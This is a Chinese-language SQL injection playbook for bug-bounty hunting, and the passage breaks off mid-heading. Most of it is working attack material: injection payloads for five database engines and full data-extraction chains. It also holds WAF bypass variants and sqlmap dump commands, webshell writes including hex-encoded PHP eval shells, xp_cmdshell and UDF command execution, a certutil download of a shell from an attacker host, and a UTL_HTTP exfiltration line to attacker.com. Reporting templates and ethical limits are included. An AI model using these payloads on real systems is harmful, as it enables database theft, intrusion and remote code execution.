# SQL 注入 > 视角:黑盒,目标是从 0 到拿数据 / 拿权限 ## 1. 一句话说清 SQLi = 把"数据"提升为"SQL 指令"。 SRC 价值:能拖库或读 admin hash 的 SQLi → P1,DBA 权限或 RCE 升级 → P0。 WooYun 27,732 案例中,**66% 在登录框、64% 在搜索、60% 在 POST 表单、26% 在 HTTP Header**。 --- ## 2. 高频入口点(27,732 案例统计) ### 2.1 高频危险参数名(按频次) ```python # 数字型 ID 类(最常见) 'id': 56, 'sort_id': 37, 'stid': 32, 'fid': 8, 'hotelid': 11, 'areainfoid': 8, # 认证(高危) 'username': 33, 'password': 30, 'userpwd': 11, # 业务 'type': 18, 'action': 7, 'page': 4, 'name': 30, # ASP.NET 特有(.NET 应用必查) '__viewstate': 58, '__eventvalidation': 56, '__eventargument': 52, '__eventtarget': 41, ``` ### 2.2 注入向量分布 | 向量 | 占比 | 典型 | |------|------|------| | 登录框 | 66% | 用户名/密码字段拼接 | | 搜索框 | 64% | LIKE 模糊匹配 | | POST 参数 | 60% | 表单提交 | | HTTP Header | 26% | User-Agent / Referer / X-Forwarded-For | | GET 参数 | 24% | URL | | Cookie | 12% | 会话标识 | ### 2.3 URL 模式 ``` # 列表 / 详情 /news/detail.php?id=1 /product/view.aspx?pid=123 /article.asp?aid=456 # 搜索 /search.php?keyword=test /list.aspx?stid=5882&pageid=2 # 后台 /admin/login.aspx /manage/user.php?action=edit&uid=1 # API /api/getData.php?type=user&id=1 ``` ### 2.4 后端类型快表 | 后缀 | 数据库 | 报错关键字 | |------|--------|----------| | `.php` | MySQL | `You have an error in your SQL syntax` | | `.aspx` | MSSQL / Oracle | `Unclosed quotation mark` / `Microsoft OLE DB` | | `.asp` | Access / MSSQL | `Microsoft JET Database Engine` | | `.jsp` / `.do` / `.action` | Oracle / MySQL | `ORA-00942` / SQL exception | | 现代 API(JSON) | 任意 ORM | 看响应字段 / 后端框架 | --- ## 3. 探测手法 ### 3.1 注入点确认 ```sql id=1' # 报错? id=1" id=1) id=1; id=1-- id=1# id=1 AND 1=1 # 正常 id=1 AND 1=2 # 异常 id=1*1 # 数字型用算术 id=1-0 id=1 AND sleep(3) # 时间盲探 ``` 观察: - 响应内容差异(页面变化) - 响应长度差异 - 响应时间差异(盲注) - 错误信息(暴库类型) ### 3.2 数据库指纹 ```sql -- MySQL SELECT version() → 5.7.x / 8.x SELECT @@version SELECT user(), database() AND sleep(5) AND benchmark(10000000, sha1('a')) -- MSSQL SELECT @@version SELECT db_name(), system_user WAITFOR DELAY '0:0:5' -- Oracle SELECT banner FROM v$version WHERE rownum=1 SELECT user FROM dual AND dbms_pipe.receive_message('a',5)=1 -- PostgreSQL SELECT version() SELECT current_database(), current_user SELECT pg_sleep(5) -- SQLite SELECT sqlite_version() -- Access SELECT TOP 1 1 FROM MSysObjects # 特有,无 #/-- 注释 ``` ### 3.3 各注入技术 payload 模板 #### 布尔盲 ``` id=1 AND 1=1 id=1 AND 1=2 id=1' AND '1'='1 id=1' AND '1'='2 id=1 AND ASCII(SUBSTRING((SELECT database()),1,1))>100 id=1 AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a' # RLIKE / REGEXP id=8 RLIKE (SELECT (CASE WHEN (7706=7706) THEN 8 ELSE 0x28 END)) ``` #### 时间盲 ``` # MySQL id=1 AND sleep(5) id=1 AND IF(1=1,sleep(5),0) id=(SELECT(CASE WHEN(1=1) THEN SLEEP(5) ELSE 1 END)) # 双层延时(绕过单层 sleep 检测) id=(select(2)from(select(sleep(8)))v)/*'+(select(0)from(select(sleep(0)))v)+' # MSSQL id=1; WAITFOR DELAY '0:0:5'-- # Oracle id=1 AND dbms_pipe.receive_message('a',5)=1 # PostgreSQL id=1 AND pg_sleep(5) ``` #### 联合查询 ``` # 探列数 id=1 ORDER BY 1-- ... ORDER BY N--(报错时 N-1 为列数) # 联合 id=-1 UNION SELECT 1,2,3,4,5-- id=-1 UNION SELECT null,null,null-- # 数据 id=-1 UNION SELECT 1,database(),version(),user(),5-- id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- ``` #### 报错注入 ``` # MySQL extractvalue id=1 AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e)) # MySQL updatexml id=1 AND updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) # MySQL floor id=1 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) # MSSQL CONVERT id=1 AND 1=CONVERT(INT,(SELECT @@version)) ``` #### 堆叠(MSSQL / PostgreSQL) ``` id=1; SELECT pg_sleep(5)-- id=1; EXEC xp_cmdshell 'whoami'-- ``` ### 3.4 完整利用链 Cheatsheet #### MySQL ```sql -- Step 1 union select 1,database(),version(),user(),5-- -- Step 2: 全部库 union select 1,group_concat(schema_name),3 from information_schema.schemata-- -- Step 3: 当前库的表 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- -- Step 4: 列名 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'-- -- Step 5: 数据 union select 1,group_concat(username,0x3a,password),3 from users-- -- Step 6: 文件读(FILE 权限) union select 1,load_file('/etc/passwd'),3-- -- Step 7: webshell(FILE + 写权限 + 路径已知) union select 1,'',3 into outfile '/var/www/html/shell.php'-- ``` #### MSSQL ```sql union select 1,@@version,db_name(),system_user,5-- union select 1,name,3 from master..sysdatabases-- union select 1,name,3 from sysobjects where xtype='U'-- union select 1,name,3 from syscolumns where id=object_id('users')-- -- 命令执行(sa) ; EXEC sp_configure 'show advanced options',1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE; EXEC master..xp_cmdshell 'whoami'-- ``` #### Oracle ```sql union select banner,null from v$version where rownum=1-- union select user,null from dual-- union select table_name,null from all_tables where rownum<=10-- ``` ### 3.5 工具 ```bash # sqlmap(最常用) sqlmap -u "https://target/page.php?id=1" --batch sqlmap -r request.txt --batch # 用 Burp 保存的请求 sqlmap -u "..." --dbs # 列库 sqlmap -u "..." -D dbname --tables sqlmap -u "..." -D dbname -T users --columns sqlmap -u "..." -D dbname -T users -C "username,password" --dump --start 1 --stop 3 # 限制取 3 条 sqlmap -u "..." --tamper=between,space2comment,charencode # 多 tamper 串联 sqlmap -u "..." --time-sec=10 --technique=T # 仅时间盲 sqlmap -u "..." --os-shell # 仅在授权场景 ``` --- ## 4. Bypass 矩阵(详见 methodology/02-bypass-toolkit.md) | 维度 | Payload | |------|---------| | 关键字 | `UnIoN SeLeCt` / `un/**/ion sel/**/ect` / `/*!50000union*//*!50000select*/` | | 空格 | `/**/` / `%09` / `%0a` / 括号 / `+` | | 引号 | `0x...` 十六进制 / `char()` / `%df%27`(GBK 宽字节) | | 函数 | `mid()`/`substr()`/`substring()`/`left()` 互换;`if()`/`case when` | | 等号 | `LIKE`/`REGEXP`/`IN(1)`/`BETWEEN` | | 注释 | `--` / `#` / `/**/` / `;%00` | | 二次注入 | 先存(含 `'`)再触发查询 | | 入口换 | Header / Cookie / X-Forwarded-For 注入 | ### sqlmap tamper 速记 ``` between, space2comment, charencode, bluecoat, modsecurityzeroversioned, versionedmorekeywords, randomcase, percentage, equaltolike, apostrophemask, space2hash, space2mssqlblank, space2plus ``` ### 真实 WooYun 绕过 payload ``` # 内联注释(DeDeCMS 经典绕过) aid=1&_FILES[type][tmp_name]=\' or mid=@`\'` /*!50000union*//*!50000select*/1,2,3,(select CONCAT(0x7c,userid,0x7c,pwd) from `#@__admin` limit 0,1),5,6,7,8,9#@`\'` # 双层 sleep(wooyun-2015-0114228) hotelid=(select(2)from(select(sleep(8)))v) hotelid=(SELECT (CASE WHEN (8177=8177) THEN SLEEP(10) ELSE 8177*(SELECT 8177 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END)) # 报错链(wooyun-2015-0157074) txtuser=-7004' OR 6089=6089# txtuser=-8086' OR 1 GROUP BY CONCAT(0x716b767171,(SELECT (CASE WHEN (5800=5800) THEN 1 ELSE 0 END)),0x7171627171,FLOOR(RAND(0)*2)) HAVING MIN(0)# ``` --- ## 5. 利用提权 / 横向 ``` SQLi → 拿 admin hash → 离线破解(rockyou.txt) → 登录后台 → 拿全表数据 → 拿 DB 版本 → 找已知 CVE → DBA 权限 → load_file / outfile → 任意文件读写 → Webshell → RCE → MSSQL xp_cmdshell → RCE → 堆叠注入 + xp_cmdshell(MSSQL) → Oracle UTL_HTTP.request → SSRF ``` 参考案例:wooyun-2015-0157074 广州嘉航软件,DBA 权限 + root hash + 512 用户密码。 --- ## 6. 真实案例指纹 | 类型 | wooyun ID | Payload 特征 | |------|----------|------------| | 报错 + 布尔 | wooyun-2015-0157074 | `txtuser=-7004' OR 6089=6089#` | | 双层时间盲 | wooyun-2015-0114228 | `(select(2)from(select(sleep(8)))v)` | | 内联注释 | wooyun-2015-0113920 | `/*!50000union*//*!50000select*/` | | ASP.NET ViewState | 多 | 改 `__VIEWSTATE` 触发反序列化 | | Header 注入 | 多 | `User-Agent: 1' AND ...` | 通用指纹: - 错误信息含 `MySQL syntax error` / `near` / `unclosed quotation` / `ORA-00942` → 数据库类型确认 - 同参数 `?id=1 AND sleep(5)` 5s 延时 + `?id=1 AND sleep(0)` 0s = 100% 时间盲 - `?id=1` 与 `?id=2-1` 返回相同 = 数字型,可注入 --- ## 7. 复现 / 证据要点 ### 7.1 报告必备 1. **基线**:`?id=1` 正常响应 2. **注入证明**:报错 / 布尔差异 / 时间差(≥5s 稳定) 3. **数据证据**:`version()`、`current_database()`、第一行 admin 用户名(脱敏) 4. **影响升级链**:能读 admin hash?能读其他库?能 outfile? ### 7.2 PoC 模板 ```http GET /api/search?keyword=test' AND (SELECT SLEEP(5))-- - HTTP/1.1 Host: target.com → 响应时间:5.234s GET /api/search?keyword=test' AND (SELECT SLEEP(0))-- - HTTP/1.1 → 响应时间:0.087s # 5 次复现 1: 5.21s vs 0.09s 2: 5.18s vs 0.07s 3: 5.31s vs 0.08s 4: 5.22s vs 0.09s 5: 5.19s vs 0.08s # 数据证明 GET /api/search?keyword=test' UNION SELECT 1,version(),3-- - → 响应:[{"id":1,"name":"5.7.34-log","desc":3}] ``` ### 7.3 sqlmap log 附件 ``` 保留 sqlmap 的 -v 3 输出 log,证明工具识别为可注入。 日志含: [INFO] testing connection to the target URL [INFO] testing if the target URL content is stable [INFO] target URL content is stable ... [INFO] (parameter) is vulnerable. Do you want to keep testing the others (if any)? [y/N] ``` ### 7.4 CVSS ``` 未授权 SQLi(可拖库) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1 认证 SQLi CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N = 8.1 SQLi → RCE (DBA) = 9.8 仅时间盲 / 不可拖 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N = 5.3 ``` ### 7.5 影响段 ``` 通过 /api/search 接口的 keyword 参数,攻击者可注入 SQL 指令, 基于时间的盲注稳定 5 秒延时差异(5/5 复现)。 通过 UNION SELECT 已确认: 1. 数据库版本 5.7.34-log(MySQL) 2. 当前库 prod_main 3. users 表存在 admin 用户(用户名前缀 ad****) 我未尝试拖出完整数据 / 读 admin 密码 hash / outfile 写文件。 ``` --- ## 8. 不要做的事 - **禁**:用 sqlmap 全量 dump 表(即使能)。`--start 1 --stop 3` 拿 3 条样本足够。 - **禁**:实际 outfile 写文件 / xp_cmdshell 执行命令。"证明能"即可。 - **禁**:报告中粘贴他人完整 PII。脱敏到只剩前 2 + 后 2 字符。 - **禁**:用读到的 admin hash 离线破解后实际登录目标后台。 - **禁**:堆叠 DROP / DELETE / UPDATE 语句。仅 SELECT。 - **限**:sqlmap 默认线程偏激进,`--threads=1 --delay=1`。 - **报告中**:admin 密码 hash 写前 8 字符 + sha256 of full hash。 ## H1 真实案例 _共 147 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12_ | Severity | $ | 程序 | 标题(点击看原报告) | 摘要 | |---|--:|---|---|---| | Critical | — | Starbucks | [SQL Injection Extracts Starbucks Enterprise Accounting, Financial, Payroll Database](https://hackerone.com/reports/531051) | SQL Injection Extracts Starbucks Enterprise Accounting, Financial, Payroll Database | | Critical | — | GSA Bounty | [SQL injection in https://labs.data.gov/dashboard/datagov/csv_to_json via User-agent](https://hackerone.com/reports/297478) | I've identified an SQL injection vulnerability in the website **labs.data.gov** that affects the endpoint `/dashboard/datagov/c… | | Critical | 25000 usd | Valve | [SQL Injection in report_xml.php through countryFilter[] parameter](https://hackerone.com/reports/383127) | SQL Injection in report_xml.php through countryFilter[] parameter | | Critical | 4500 usd | Eternal | [[www.zomato.com] SQLi - /php/██████████ - item_id](https://hackerone.com/reports/403616) | [www.zomato.com] SQLi - /php/██████████ - item_id | | High | — | MTN Group | [SQL Injection on cookie parameter](https://hackerone.com/reports/761304) | Summary: Hello team. It seams one of the parameters in the cookies is vulnerable to SQL injection. Below requests has the lang … | | High | 4500 usd | Grab | [www.drivegrab.com SQL injection](https://hackerone.com/reports/273946) | Summary:** The website uses a WordPress plugin called Formidable Pro. I found an SQL injection in the plugin code. Description:… | | Critical | 4134 usd | inDrive | [Blind SQL injection on id.indrive.com](https://hackerone.com/reports/2051931) | Summary: The server does not perform sanitization on user input, allowing an attacker to inject arbitrary SQL commands into a q… | | High | — | Acronis | [SQL Injection in agent-manager](https://hackerone.com/reports/962889) | 1.https://mc-beta-cloud.acronis.com/api/agent_manager/v2/unit_configurations?name=update-schedule&no_data=false&tenant_id=15902… | | Critical | — | Starbucks | [Blind SQLi leading to RCE, from Unauthenticated access to a test API Webservice](https://hackerone.com/reports/592400) | Blind SQLi leading to RCE, from Unauthenticated access to a test API Webservice | | High | — | Starbucks | [Blind SQL Injection on starbucks.com.gt and WAF Bypass :*](https://hackerone.com/reports/549355) | Blind SQL Injection on starbucks.com.gt and WAF Bypass :* | | Critical | — | HackerOne | [SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter](https://hackerone.com/reports/435066) | The `embedded_submission_form_uuid` parameter in the `/graphql` endpoint is vulnerable to a SQL injection | | High | — | Automattic | [Sql injection on docs.atavist.com](https://hackerone.com/reports/1039315) | hello dear team I have found SQL injection on docs.atavist.com url:http://docs.atavist.com/reader_api/stories.php?limit=10&offs… | **命中本类的 weakness 分布:** - SQL Injection:140 条 - Uncategorized → 手工归类:2 条 - XML Injection:2 条 - LDAP Injection:2 条 - Blind SQL Injection:1 条 ## Payload 库 _17 个结构化 web payload,含完整攻击链 + WAF/EDR 绕过变体_ ### MySQL注入 - 基础探测 `sqli-mysql-basic` MySQL数据库注入基础探测与数据提取技术 子类:**MySQL** · tags: `sqli` `mysql` `injection` `database` **前置条件:** 目标存在SQL注入点;后端数据库为MySQL;了解基本SQL语法 **攻击链:** **1. 1. 探测注入点** _使用单引号和布尔条件探测是否存在注入点_ ``` ' OR '1'='1 ' OR 1=1-- 1' AND '1'='1 1' AND '1'='2 ``` **2. 2. 确定列数** _使用ORDER BY或UNION SELECT NULL确定查询列数_ ``` ' ORDER BY 1-- ' ORDER BY 2-- ' ORDER BY 3-- 直到报错确定列数 或使用: ' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- ``` **3. 3. 确定显示位置** _找出哪些列会显示在页面上_ ``` ' UNION SELECT 1,2,3-- ' UNION SELECT 'a','b','c'-- ``` **4. 4. 获取数据库信息** _获取当前数据库名、用户、版本等基础信息_ ``` ' UNION SELECT 1,database(),3-- ' UNION SELECT 1,user(),3-- ' UNION SELECT 1,version(),3-- ' UNION SELECT 1,@@hostname,3-- ``` **5. 5. 枚举所有数据库** _获取MySQL服务器上所有数据库名_ ``` ' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata-- ' UNION SELECT schema_name,2,3 FROM information_schema.schemata LIMIT 0,1-- ``` **6. 6. 枚举表名** _获取指定数据库中的所有表名_ ``` ' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- ' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema='target_db' LIMIT 0,1-- ``` **7. 7. 枚举列名** _获取指定表的所有列名_ ``` ' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'-- ' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='users' AND table_schema=database() LIMIT 0,1-- ``` **8. 8. 提取数据** _从目标表中提取敏感数据_ ``` ' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users-- ' UNION SELECT username,password,3 FROM users LIMIT 0,1-- ``` **WAF/EDR 绕过变体:** **1. 大小写混淆** _使用大小写混合绕过关键字过滤_ ``` ' UnIoN SeLeCt 1,database(),3-- ' uNiOn SeLeCt 1,user(),3-- ``` **2. 内联注释** _使用MySQL特有内联注释绕过_ ``` ' /*!UNION*/ /*!SELECT*/ 1,database(),3-- ' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3-- ``` **3. 双写绕过** _双写关键字绕过替换过滤_ ``` ' UNUNIONION SELSELECTECT 1,database(),3-- ' UNIunionON SELselectECT 1,2,3-- ``` **4. 空格替代** _使用注释、换行、括号替代空格_ ``` '/**/UNION/**/SELECT/**/1,database(),3-- ' %0aUNION%0aSELECT%0a1,2,3-- '(UNION(SELECT(1),(database()),(3)))-- ``` **5. 编码绕过** _使用编码函数绕过关键字检测_ ``` ' UNION SELECT 1,hex(database()),3-- ' UNION SELECT 1,unhex(hex(database())),3-- ' UNION SELECT 1,conv(hex(database()),16,10),3-- ``` --- ### MySQL注入 - 高级技术 `sqli-mysql-advanced` MySQL高级注入技术:文件读写、UDF提权、命令执行 子类:**MySQL** · tags: `sqli` `mysql` `advanced` `file-read` `rce` **前置条件:** MySQL用户具有FILE权限;知道网站绝对路径;secure_file_priv配置允许 **攻击链:** **1. 1. 检测FILE权限** _检测当前用户是否有FILE权限_ ``` ' UNION SELECT 1,file_priv,3 FROM mysql.user WHERE user=current_user()-- ' AND (SELECT file_priv FROM mysql.user WHERE user=current_user())='Y'-- ``` **2. 2. 获取网站路径** _通过错误信息或读取文件获取网站路径_ ``` ' UNION SELECT 1,@@basedir,3-- ' UNION SELECT 1,@@datadir,3-- ' UNION SELECT 1,load_file('/etc/passwd'),3-- ``` **3. 3. 读取敏感文件** _使用load_file读取系统敏感文件_ ``` ' UNION SELECT 1,load_file('/etc/passwd'),3-- ' UNION SELECT 1,load_file('/var/www/html/config.php'),3-- ' UNION SELECT 1,load_file('C:/windows/win.ini'),3-- ``` **4. 4. 写入WebShell** _[linux]_ _使用INTO OUTFILE写入WebShell_ ``` ' UNION SELECT 1,'',3 INTO OUTFILE '/var/www/html/shell.php'-- ' UNION SELECT 1,'',3 INTO OUTFILE '/var/www/html/cmd.php'-- ``` **5. 5. 日志写Shell** _[linux]_ _通过开启general_log写入Shell_ ``` SET GLOBAL general_log='ON'; SET GLOBAL general_log_file='/var/www/html/shell.php'; SELECT ''; ``` **6. 6. UDF提权** _[linux]_ _使用UDF提权执行系统命令_ ``` SELECT load_file('/tmp/lib_mysqludf_sys.so') INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'; CREATE FUNCTION sys_eval RETURNS STRING SONAME 'lib_mysqludf_sys.so'; SELECT sys_eval('id'); ``` **WAF/EDR 绕过变体:** **1. Hex编码写入** _[linux]_ _使用十六进制编码绕过关键字检测_ ``` ' UNION SELECT 1,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e,3 INTO DUMPFILE '/var/www/html/shell.php'-- ``` **2. Char编码绕过** _[linux]_ _使用CHAR函数编码绕过_ ``` ' UNION SELECT 1,CHAR(60,63,112,104,112,32,64,101,118,97,108,40,36,95,80,79,83,84,91,99,109,100,93,41,59,63,62),3 INTO OUTFILE '/var/www/html/s.php'-- ``` --- ### MSSQL注入 - 基础探测 `sqli-mssql-basic` Microsoft SQL Server数据库注入技术 子类:**MSSQL** · tags: `sqli` `mssql` `sqlserver` `injection` **前置条件:** 目标存在SQL注入点;后端使用MSSQL数据库 **攻击链:** **1. 1. 探测注入点** _基础注入探测_ ``` ' OR 1=1-- ' OR '1'='1 1' AND 1=1-- 1' AND 1=2-- ``` **2. 2. 获取版本信息** _获取MSSQL版本信息_ ``` ' UNION SELECT 1,@@version,3-- ' UNION SELECT 1,SERVERPROPERTY('Edition'),3-- ' UNION SELECT 1,SERVERPROPERTY('ProductVersion'),3-- ``` **3. 3. 获取用户信息** _获取当前用户及权限信息_ ``` ' UNION SELECT 1,user_name(),3-- ' UNION SELECT 1,suser_name(),3-- ' UNION SELECT 1,system_user,3-- ' UNION SELECT 1,is_srvrolemember('sysadmin'),3-- ``` **4. 4. 获取数据库信息** _获取所有数据库名_ ``` ' UNION SELECT 1,db_name(),3-- ' UNION SELECT 1,db_name(0),3-- ' UNION SELECT 1,db_name(1),3-- ' UNION SELECT name,2,3 FROM master..sysdatabases-- ``` **5. 5. 获取表名** _获取用户表名_ ``` ' UNION SELECT 1,name,3 FROM sysobjects WHERE xtype='U'-- ' UNION SELECT 1,name,3 FROM sys.tables-- ' UNION SELECT 1,table_name,3 FROM information_schema.tables-- ``` **6. 6. 获取列名** _获取指定表的列名_ ``` ' UNION SELECT 1,name,3 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- ' UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'-- ``` **7. 7. 提取数据** _提取表中的数据_ ``` ' UNION SELECT 1,username+':'+password,3 FROM users-- ' UNION SELECT TOP 1 username,password,3 FROM users-- ``` **WAF/EDR 绕过变体:** **1. Hex编码** _使用Hex编码绕过_ ``` ' UNION SELECT 1,master.dbo.fn_varbintohexstr(CAST(username AS VARBINARY)),3 FROM users-- ``` **2. 注释绕过** _使用注释和空字节绕过_ ``` '/**/UNION/**/SELECT/**/1,2,3-- ' UN%00ION SELECT 1,2,3-- ``` --- ### MSSQL注入 - 高级技术 `sqli-mssql-advanced` MSSQL高级注入:xp_cmdshell、SP_OACREATE命令执行 子类:**MSSQL** · tags: `sqli` `mssql` `xp_cmdshell` `rce` **前置条件:** MSSQL具有高权限;xp_cmdshell可用或可开启 **攻击链:** **1. 1. 检测xp_cmdshell状态** _[windows]_ _检测xp_cmdshell是否可用_ ``` ' UNION SELECT 1,OBJECT_ID('xp_cmdshell'),3-- '; EXEC master..xp_cmdshell 'whoami'-- ``` **2. 2. 开启xp_cmdshell** _[windows]_ _如果xp_cmdshell被禁用,尝试开启_ ``` '; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- ``` **3. 3. 执行系统命令** _[windows]_ _使用xp_cmdshell执行系统命令_ ``` '; EXEC master..xp_cmdshell 'whoami'-- '; EXEC master..xp_cmdshell 'net user'-- '; EXEC master..xp_cmdshell 'dir C:'-- ``` **4. 4. 写入WebShell** _[windows]_ _写入或下载WebShell_ ``` '; EXEC master..xp_cmdshell 'echo ^<%execute(request("cmd"))^> > C:\inetpub\wwwroot\shell.asp'-- '; EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://attacker/shell.aspx C:\inetpub\wwwroot\shell.aspx'-- ``` **5. 5. SP_OACREATE方法** _[windows]_ _使用SP_OACREATE执行命令_ ``` '; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE; DECLARE @shell INT; EXEC SP_OACREATE 'wscript.shell', @shell OUTPUT; EXEC SP_OAMETHOD @shell, 'run', NULL, 'cmd /c whoami > C:\output.txt';-- ``` **WAF/EDR 绕过变体:** **1. 堆叠查询** _[windows]_ _使用动态SQL绕过_ ``` '; EXEC('EXEC master..xp_cmdshell ''whoami''')-- '; DECLARE @cmd VARCHAR(255); SET @cmd='whoami'; EXEC master..xp_cmdshell @cmd;-- ``` --- ### Oracle注入 - 基础探测 `sqli-oracle-basic` Oracle数据库注入基础技术 子类:**Oracle** · tags: `sqli` `oracle` `injection` **前置条件:** 目标存在SQL注入点;后端使用Oracle数据库 **攻击链:** **1. 1. 探测注入点** _探测注入点类型_ ``` ' OR 1=1-- ' OR '1'='1 ' UNION SELECT NULL,NULL,NULL FROM DUAL-- ``` **2. 2. 获取版本信息** _获取Oracle版本_ ``` ' UNION SELECT banner,NULL FROM v$version WHERE rownum=1-- ' UNION SELECT version,NULL FROM v$instance-- ``` **3. 3. 获取用户信息** _获取数据库用户_ ``` ' UNION SELECT username,NULL FROM all_users-- ' UNION SELECT user,NULL FROM DUAL-- ' UNION SELECT SYS_CONTEXT('USERENV','SESSION_USER'),NULL FROM DUAL-- ``` **4. 4. 获取表名** _获取表名_ ``` ' UNION SELECT table_name,NULL FROM all_tables WHERE owner='SCOTT'-- ' UNION SELECT owner||'.'||table_name,NULL FROM all_tables-- ``` **5. 5. 获取列名** _获取列名和数据类型_ ``` ' UNION SELECT column_name,NULL FROM all_tab_columns WHERE table_name='USERS'-- ' UNION SELECT column_name||':'||data_type,NULL FROM all_tab_columns WHERE table_name='USERS'-- ``` **6. 6. 提取数据** _提取表数据_ ``` ' UNION SELECT username||':'||password,NULL FROM users-- ' UNION SELECT * FROM (SELECT username,password FROM users) WHERE rownum<=1-- ``` **WAF/EDR 绕过变体:** **1. UTL_HTTP外带** _使用UTL_HTTP外带数据_ ``` ' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE rownum=1)),NULL FROM DUAL-- ``` --- ### Oracle注入 - 高级技术 `sqli-oracle-advanced` Oracle高级注入技术:Java存储过程、UTL_FILE文件操作 子类:**Oracle** · tags: `sqli` `oracle` `advanced` `rce` **前置条件:** Oracle高权限;Java虚拟机可用 **攻击链:** **1. 1. 检测Java权限** _检测Java存储过程是否可用_ ``` ' UNION SELECT 1,CASE WHEN DBMS_JAVA.TEST_OUTPUT('test') IS NOT NULL THEN 'YES' ELSE 'NO' END FROM DUAL-- ``` **2. 2. 创建Java执行函数** _使用Java执行系统命令_ ``` ' UNION SELECT 1,(SELECT DBMS_JAVA.RUNJAVA('java.lang.Runtime.exec("cmd /c whoami")') FROM DUAL)-- ``` **3. 3. UTL_FILE读取文件** _使用UTL_FILE操作文件_ ``` ' UNION SELECT 1,UTL_FILE.FGETATTR('DATA_PUMP_DIR','/etc/passwd','file_exists') FROM DUAL-- ``` **WAF/EDR 绕过变体:** **1. Oracle特有函数绕过** _使用Oracle XMLType、DBMS_PIPE、CASE表达式等特有函数绕过WAF关键字检测_ ``` ' UNION SELECT 1,XMLType(''||CHR(60)||'data'||CHR(62)||user||'') FROM DUAL-- ' UNION SELECT 1,DBMS_PIPE.PACK_MESSAGE(user)||DBMS_PIPE.SEND_MESSAGE('pipe1') FROM DUAL-- ' UNION SELECT 1,CASE WHEN (SELECT user FROM DUAL)='SYS' THEN 'admin' ELSE 'user' END FROM DUAL-- ``` **2. Oracle注释与编码绕过** _使用注释符替代空格、CHR()编码字符串、RAWTOHEX/UTL_ENCODE进行数据编码绕过_ ``` ' UNION/**/SELECT/**/1,user/**/FROM/**/DUAL-- ' UNION SELECT 1,CHR(65)||CHR(68)||CHR(77)||CHR(73)||CHR(78) FROM DUAL-- ' UNION SELECT 1,RAWTOHEX(user) FROM DUAL-- ' UNION SELECT 1,UTL_RAW.CAST_TO_VARCHAR2(UTL_ENCODE.BASE64_ENCODE(UTL_RAW.CAST_TO_RAW(user))) FROM DUAL-- ``` --- ### PostgreSQL注入 - 基础探测 `sqli-postgres-basic` PostgreSQL数据库注入技术 子类:**PostgreSQL** · tags: `sqli` `postgresql` `postgres` `injection` **前置条件:** 目标存在SQL注入点;后端使用PostgreSQL **攻击链:** **1. 1. 探测注入点** _探测注入点_ ``` ' OR 1=1-- ' OR '1'='1 ' UNION SELECT NULL,NULL,NULL-- ``` **2. 2. 获取版本信息** _获取数据库信息_ ``` ' UNION SELECT version(),NULL-- ' UNION SELECT current_database(),NULL-- ' UNION SELECT current_user,NULL-- ``` **3. 3. 获取表名** _获取public模式下的表_ ``` ' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema='public'-- ``` **4. 4. 获取列名** _获取列名_ ``` ' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- ``` **5. 5. 读取文件** _[linux]_ _使用pg_read_file读取文件_ ``` ' UNION SELECT pg_read_file('/etc/passwd'),NULL-- ' UNION SELECT pg_read_binary_file('/etc/passwd'),NULL-- ``` **6. 6. 写入文件** _[linux]_ _使用COPY写入文件_ ``` ' UNION SELECT 'test',COPY (SELECT '') TO '/var/www/html/shell.php'-- ``` **WAF/EDR 绕过变体:** **1. 编码绕过** _使用chr函数编码_ ``` ' UNION SELECT chr(60)||chr(63)||'php system($_GET[c]);'||chr(63)||chr(62),NULL-- ``` --- ### SQLite注入 `sqli-sqlite-basic` SQLite数据库注入攻击 子类:**SQLite** · tags: `sqli` `sqlite` **前置条件:** SQLite数据库;存在注入点 **攻击链:** **1. 1. 探测注入点** _探测注入点_ ``` ' OR 1=1-- ' UNION SELECT 1,2,3-- ' UNION SELECT NULL,NULL,NULL-- ``` **2. 2. 获取版本** _获取SQLite版本_ ``` ' UNION SELECT sqlite_version(),NULL-- ``` **3. 3. 获取表名** _获取所有表名_ ``` ' UNION SELECT name,NULL FROM sqlite_master WHERE type='table'-- ``` **4. 4. 获取表结构** _获取建表语句_ ``` ' UNION SELECT sql,NULL FROM sqlite_master WHERE name='users'-- ``` **5. 5. 读取文件** _读取文件(需要扩展)_ ``` ' UNION SELECT load_extension('libsqlite3.so'),NULL-- ' UNION SELECT readfile('/etc/passwd'),NULL-- ``` **WAF/EDR 绕过变体:** **1. 